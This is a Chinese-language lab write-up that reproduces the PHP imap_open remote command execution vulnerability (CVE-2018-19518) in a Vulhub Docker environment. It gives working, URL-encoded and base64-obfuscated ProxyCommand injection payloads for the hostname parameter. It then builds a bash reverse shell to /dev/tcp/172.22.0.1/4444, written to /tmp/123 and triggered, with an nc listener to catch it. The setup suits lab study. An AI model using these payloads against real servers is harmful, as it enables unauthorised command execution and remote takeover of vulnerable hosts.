PHP imap 远程命令执行漏洞(CVE-2018-19518)漏洞复现
php imap
扩展用于在PHP中执行邮件收发操作。其imap_open
函数会调用rsh来连接远程shell,而debian/ubuntu中默认使用ssh来代替rsh的功能(也就是说,在debian系列系统中,执行rsh命令实际执行的是ssh命令)。
因为ssh命令中可以通过设置-oProxyCommand=
来调用第三方命令,攻击者通过注入注入这个参数,最终将导致命令执行漏洞。
启动实验环境
cd /vulhub/php/CVE-2018-19518
sudo docker-compose up -d
漏洞利用
输入数据,使用burpsuite
抓包
上述中x+-oProxyCommand%3decho%09ZWNobyAnMTIzNDU2Nzg5MCc%2bL3RtcC90ZXN0MDAwMQo%3d|base64%09-d|sh}
的意思如下
- 使用url编码解码后
x -oProxyCommand=echo ZWNobyAnMTIzNDU2Nzg5MCc+L3RtcC90ZXN0MDAwMQo=|base64 -d|sh}
ZWNobyAnMTIzNDU2Nzg5MCc+L3RtcC90ZXN0MDAwMQo=
的意思是echo '1234567890'>/tmp/test0001
- 通过
-oProxyCommand
参数执行命令,x
可以是任意值
执行后进入容器查看是否执行成功
可以看到命令执行成功
反弹shell
这里有很多反弹shell
的思路,可以直接传入命令执行反弹shell,但是更稳定的方法是写入反弹shell文件,然后执行反弹shell文件获得稳定控制权限
- 准备反弹shell代码
这时就遇到一个问题,在docker
中,我们并不知道容器的IP和本机的IP地址,在一些一般默认情况下,你的docker容器可以上网,可以使用apt install net-tools
安装ifconfig
查看容器IP地址
,通过tracrroute
上网找到宿主机IP
,宿主机器的IP也可以通过在宿主机器执行ifconfig
获取到(有时候有,有时候没有),但是这是一个非常low的方法,这是因为我的docker
使用的不熟练
其实可以通过docker inspect 容器ID
直接获取容器的所有信息,其中就含有容器的IP
和默认网关的IP
,一般情况下默认网关的IP就是我们宿主机的IP
接着构造payload
echo "/bin/bash -i >& /dev/tcp/172.22.0.1/4444 0>&1" > /tmp/123
# base64encode
ZWNobyAiL2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzE3Mi4yMi4wLjEvNDQ0NCAwPiYxIiA+IC90bXAvMTIz
# 将base64编码内容替换
x+-oProxyCommand%3decho%09[base64编码内容]|base64%09-d|sh}&username=111&password=222
x+-oProxyCommand%3decho%09ZWNobyAiL2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzE3Mi4yMi4wLjEvNDQ0NCAwPiYxIiA+IC90bXAvMTIz|base64%09-d|sh}
# 将base64编码内容再次进行url编码
x+-oProxyCommand%3decho%09ZWNobyAiL2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzE3Mi4yMi4wLjEvNDQ0NCAwPiYxIiA%2bIC90bXAvMTIz|base64%09-d|sh}
- 将
payload
粘贴到hostname
参数,提交
3.使用/bin/bash
触发/tmp/123
反弹shell脚本
构造payload
/bin/bash /tmp/123
# base64encode
L2Jpbi9iYXNoIC90bXAvMTIz
# 替换base64内容后进行url编码
x+-oProxyCommand%3decho%09L2Jpbi9iYXNoIC90bXAvMTIz|base64%09-d|sh}
首先本地监听nc -lvp 4444
提交
获得shell
实验结束。